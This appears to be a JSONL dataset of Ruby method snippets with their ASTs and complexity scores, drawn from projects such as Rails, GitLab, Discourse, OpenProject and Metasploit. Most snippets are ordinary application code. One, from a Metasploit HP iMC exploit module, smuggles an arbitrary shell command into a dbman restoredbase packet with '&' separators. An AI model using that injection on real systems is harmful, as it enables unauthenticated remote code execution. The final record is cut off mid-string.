{"repo_name":"openproject","file_path":"./repos/openproject/app/models/custom_actions/actions/base.rb","start_line":105,"raw_source":"def validate_value_required(errors)\n if required? && values.empty?\n errors.add :actions,\n :empty,\n name: human_name\n end\n end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_value_required\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"errors\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"required?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"values\"]},\"empty?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"actions\"]},{\"type\":\"sym\",\"children\":[\"empty\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"human_name\"]}]}]}]},null]}]}","id":"0a69102a-ca80-4349-96f9-0879a5e2c74a"} {"repo_name":"dawarich","file_path":"./repos/dawarich/app/models/user.rb","start_line":181,"raw_source":"def schedule_post_trial_emails\n Users::MailerSendingJob.set(wait: 9.days).perform_later(id, 'post_trial_reminder_early')\n Users::MailerSendingJob.set(wait: 14.days).perform_later(id, 'post_trial_reminder_late')\n end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"schedule_post_trial_emails\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Users\"]},\"MailerSendingJob\"]},\"set\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[9]},\"days\"]}]}]}]},\"perform_later\",{\"type\":\"send\",\"children\":[null,\"id\"]},{\"type\":\"str\",\"children\":[\"post_trial_reminder_early\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Users\"]},\"MailerSendingJob\"]},\"set\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[14]},\"days\"]}]}]}]},\"perform_later\",{\"type\":\"send\",\"children\":[null,\"id\"]},{\"type\":\"str\",\"children\":[\"post_trial_reminder_late\"]}]}]}]}","id":"5b386214-fe70-4146-b376-14f77c228120"} {"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/attribute_mutation_tracker.rb","start_line":59,"raw_source":"def original_value(attr_name)\n attributes[attr_name].original_value\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"original_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attr_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attributes\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"attr_name\"]}]},\"original_value\"]}]}","id":"e5641bb7-eebe-4ec9-9b72-633f7a61741f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/object_storage/pending_direct_upload.rb","start_line":100,"raw_source":"def delete\n delete_object(object_storage_path)\n\n self.class.with_redis do |redis|\n redis.hdel(self.class::KEY, redis_key)\n self.class.log_event(:deleted, redis_key)\n end\n end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"delete\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"delete_object\",{\"type\":\"send\",\"children\":[null,\"object_storage_path\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"with_redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"redis\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis\"]},\"hdel\",{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"KEY\"]},{\"type\":\"send\",\"children\":[null,\"redis_key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"log_event\",{\"type\":\"sym\",\"children\":[\"deleted\"]},{\"type\":\"send\",\"children\":[null,\"redis_key\"]}]}]}]}]}]}","id":"3230acb9-a7c3-4f8a-abd1-63907d2ee0b8"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/auto_merge/merge_when_checks_pass_service.rb","start_line":9,"raw_source":"def execute(merge_request)\n super do\n add_system_note(merge_request)\n end\n end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"add_system_note\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]}]}]}]}","id":"4313eb84-4657-4c2d-b7bc-33eeb59fbdc7"} {"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20140715190552_remove_uncategorized_parents.rb","start_line":4,"raw_source":"def up\n uncat = execute(\"SELECT value FROM site_settings WHERE name = 'uncategorized_category_id'\")\n if uncat && uncat[0] && uncat[0][\"value\"]\n execute \"UPDATE categories SET parent_category_id = NULL where id = #{uncat[0][\"value\"].to_i}\"\n end\n end","complexity_score":14.5,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uncat\",{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"SELECT value FROM site_settings WHERE name = 'uncategorized_category_id'\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uncat\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uncat\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uncat\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"str\",\"children\":[\"value\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE categories SET parent_category_id = NULL where id = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uncat\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"str\",\"children\":[\"value\"]}]},\"to_i\"]}]}]}]},null]}]}]}","id":"bf86bf0b-3921-4cd3-beb7-1bfa0b9a6f5b"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/hwbridge/extensions/rftransceiver/rftransceiver.rb","start_line":132,"raw_source":"def set_channel_bandwidth(idx, bandwidth, opt={})\n request = \"/rftransceiver/#{idx}/set_channel_bandwidth?bw=#{bandwidth}\"\n request << \"&mhz=#{opt['mhz']}\" if opt.has_key? 'mhz'\n client.send_request(request)\n end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_channel_bandwidth\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"idx\"]},{\"type\":\"arg\",\"children\":[\"bandwidth\"]},{\"type\":\"optarg\",\"children\":[\"opt\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/rftransceiver/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"idx\"]}]},{\"type\":\"str\",\"children\":[\"/set_channel_bandwidth?bw=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bandwidth\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"has_key?\",{\"type\":\"str\",\"children\":[\"mhz\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"&mhz=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"mhz\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"send_request\",{\"type\":\"lvar\",\"children\":[\"request\"]}]}]}]}","id":"092b535a-1566-4b0d-8436-bcfef739f594"} {"repo_name":"openproject","file_path":"./repos/openproject/lib/api/decorators/polymorphic_resource.rb","start_line":97,"raw_source":"def polymorphic_resource_representer(resource)\n mapped_representer(resource) || polymorphic_default_representer(resource.model_name)\n end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"polymorphic_resource_representer\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resource\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mapped_representer\",{\"type\":\"lvar\",\"children\":[\"resource\"]}]},{\"type\":\"send\",\"children\":[null,\"polymorphic_default_representer\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"model_name\"]}]}]}]}","id":"15460f09-f8e8-4fb4-ae9d-fd88ccd241f6"} {"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/test_helper_test.rb","start_line":1327,"raw_source":"def test_assert_performed_jobs_with_only_option_and_none_sent\n error = assert_raise ActiveSupport::TestCase::Assertion do\n assert_performed_jobs 1, only: HelloJob do\n LoggingJob.perform_later\n end\n end\n\n assert_match(/1 .* but 0/, error.message)\n end","complexity_score":8.93,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_performed_jobs_with_only_option_and_none_sent\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TestCase\"]},\"Assertion\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_performed_jobs\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"const\",\"children\":[null,\"HelloJob\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LoggingJob\"]},\"perform_later\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"1 .* but 0\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]}]}","id":"3670d4a9-6bd5-42df-961e-270f6295163a"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/ui/text/output/file.rb","start_line":35,"raw_source":"def close\n self.fd.close if self.fd\n self.fd = nil\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"close\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"fd\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"fd\"]},\"close\"]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"fd=\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"eee826b1-9da9-418e-9e46-53ff50b8c942"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/hp_imc_dbman_restoredbase_unauth_rce.rb","start_line":194,"raw_source":"def execute_command(cmd, _opts = {})\n connect\n sock.put dbman_restoredbase_pkt \"\\\"& #{cmd} &\"\n disconnect\n end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"send\",\"children\":[null,\"dbman_restoredbase_pkt\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"& \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"str\",\"children\":[\" &\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"cee1a6b7-5ed3-4f17-a060-0d91289b22b2"} {"repo_name":"discourse","file_path":"./repos/discourse/app/services/search_indexer.rb","start_line":382,"raw_source":"def self.scrub(html)\n return +\"\" if html.blank?\n\n begin\n document = Nokogiri.HTML5(\"<div>#{html}</div>\", encoding: Encoding::UTF_8)\n rescue ArgumentError\n return +\"\"\n end\n\n nodes = document.css(\"div.#{CookedPostProcessor::LIGHTBOX_WRAPPER_CSS_CLASS}\")\n\n if nodes.present?\n nodes.each do |node|\n node.traverse do |child_node|\n next if child_node == node\n\n if %w[a img].exclude?(child_node.name)\n child_node.remove\n elsif child_node.name == \"a\"\n ATTRIBUTES.each { |attribute| child_node.remove_attribute(attribute) }\n end\n end\n end\n end\n\n document.css(\"img.emoji\").each { |node| node.remove_attribute(\"alt\") }\n\n document\n .css(\"a[href]\")\n .each do |node|\n if node[\"href\"] == node.text || MENTION_CLASSES.include?(node[\"class\"])\n node.remove_attribute(\"href\")\n end\n\n if node[\"class\"] == \"anchor\" && node[\"href\"].starts_with?(\"#\")\n node.remove_attribute(\"href\")\n end\n end\n\n html_scrubber = new\n Nokogiri::HTML4::SAX::Parser.new(html_scrubber, Encoding::UTF_8).parse(document.to_html)\n html_scrubber.scrubbed.squish\n end","complexity_score":69.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"scrub\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"html\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"document\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"HTML5\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<div>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]}]},{\"type\":\"str\",\"children\":[\"</div>\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"encoding\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"UTF_8\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"nodes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"document\"]},\"css\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"div.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CookedPostProcessor\"]},\"LIGHTBOX_WRAPPER_CSS_CLASS\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nodes\"]},\"present?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nodes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"traverse\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"child_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child_node\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"str\",\"children\":[\"img\"]}]},\"exclude?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child_node\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child_node\"]},\"remove\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child_node\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"a\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ATTRIBUTES\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child_node\"]},\"remove_attribute\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]},null]}]}]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"document\"]},\"css\",{\"type\":\"str\",\"children\":[\"img.emoji\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"remove_attribute\",{\"type\":\"str\",\"children\":[\"alt\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"document\"]},\"css\",{\"type\":\"str\",\"children\":[\"a[href]\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"[]\",{\"type\":\"str\",\"children\":[\"href\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"text\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MENTION_CLASSES\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"[]\",{\"type\":\"str\",\"children\":[\"class\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"remove_attribute\",{\"type\":\"str\",\"children\":[\"href\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"[]\",{\"type\":\"str\",\"children\":[\"class\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"anchor\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"[]\",{\"type\":\"str\",\"children\":[\"href\"]}]},\"starts_with?\",{\"type\":\"str\",\"children\":[\"#\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"remove_attribute\",{\"type\":\"str\",\"children\":[\"href\"]}]},null]}]}]},{\"type\":\"lvasgn\",\"children\":[\"html_scrubber\",{\"type\":\"send\",\"children\":[null,\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"HTML4\"]},\"SAX\"]},\"Parser\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"html_scrubber\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"UTF_8\"]}]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"document\"]},\"to_html\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html_scrubber\"]},\"scrubbed\"]},\"squish\"]}]}]}","id":"699bbcbb-0f98-49ee-afeb-672853ac0ab9"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/click_house/models/audit_event.rb","start_line":50,"raw_source":"def self.find_user_id(username)\n ::User.find_by_username(username)&.id\n end","complexity_score":2.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"find_user_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"User\"]},\"find_by_username\",{\"type\":\"lvar\",\"children\":[\"username\"]}]},\"id\"]}]}","id":"2b513976-0cc9-44d6-9ce9-579cee0e8491"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/locking_test.rb","start_line":959,"raw_source":"def test_relation_lock_when_not_preventing_writes_nested\n ActiveRecord::Base.while_preventing_writes do\n ActiveRecord::Base.while_preventing_writes(false) do\n assert_nothing_raised do\n Person.lock.find_by id: 1\n end\n end\n end\n end","complexity_score":9.78,"ast_json":"{\"type\":\"def\",\"children\":[\"test_relation_lock_when_not_preventing_writes_nested\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"while_preventing_writes\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"while_preventing_writes\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Person\"]},\"lock\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]}]}","id":"ac6d0011-d42e-43c6-9509-158bbb3ec710"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/helpers/api/v2/accounts/heatmap_helper.rb","start_line":68,"raw_source":"def generate_heatmap_data(date, offset)\n report_params = {\n type: :account,\n group_by: 'hour',\n metric: 'conversations_count',\n business_hours: false\n }\n\n V2::ReportBuilder.new(Current.account, report_params.merge({\n since: since_timestamp(date),\n until: until_timestamp(date),\n timezone_offset: offset\n })).build\n end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_heatmap_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"date\"]},{\"type\":\"arg\",\"children\":[\"offset\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"report_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"account\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_by\"]},{\"type\":\"str\",\"children\":[\"hour\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"metric\"]},{\"type\":\"str\",\"children\":[\"conversations_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"business_hours\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"V2\"]},\"ReportBuilder\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Current\"]},\"account\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_params\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"since\"]},{\"type\":\"send\",\"children\":[null,\"since_timestamp\",{\"type\":\"lvar\",\"children\":[\"date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"until\"]},{\"type\":\"send\",\"children\":[null,\"until_timestamp\",{\"type\":\"lvar\",\"children\":[\"date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timezone_offset\"]},{\"type\":\"lvar\",\"children\":[\"offset\"]}]}]}]}]},\"build\"]}]}]}","id":"c59b27d2-eb91-47d4-84af-03bd6582f671"} {"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/sd_notify.rb","start_line":80,"raw_source":"def self.watchdog(unset_env = false)\n notify(WATCHDOG, unset_env)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"watchdog\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"unset_env\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"notify\",{\"type\":\"const\",\"children\":[null,\"WATCHDOG\"]},{\"type\":\"lvar\",\"children\":[\"unset_env\"]}]}]}","id":"31c02b53-74e6-423c-9f79-47cd1a9dab6a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/import/github_service.rb","start_line":124,"raw_source":"def validate_context\n if blocked_url?\n log_and_return_error(\n \"Invalid URL: #{url}\",\n format(_(\"Invalid URL: %{url}\"), { url: url }),\n :bad_request\n )\n elsif target_namespace.nil?\n error(s_('GithubImport|Namespace or group to import repository into does not exist.'), :unprocessable_entity)\n elsif !authorized?\n error(s_('GithubImport|You are not allowed to import projects in this namespace.'), :unprocessable_entity)\n end\n end","complexity_score":21.4,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_context\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"blocked_url?\"]},{\"type\":\"send\",\"children\":[null,\"log_and_return_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid URL: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url\"]}]}]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Invalid URL: %{url}\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[null,\"url\"]}]}]}]},{\"type\":\"sym\",\"children\":[\"bad_request\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_namespace\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"GithubImport|Namespace or group to import repository into does not 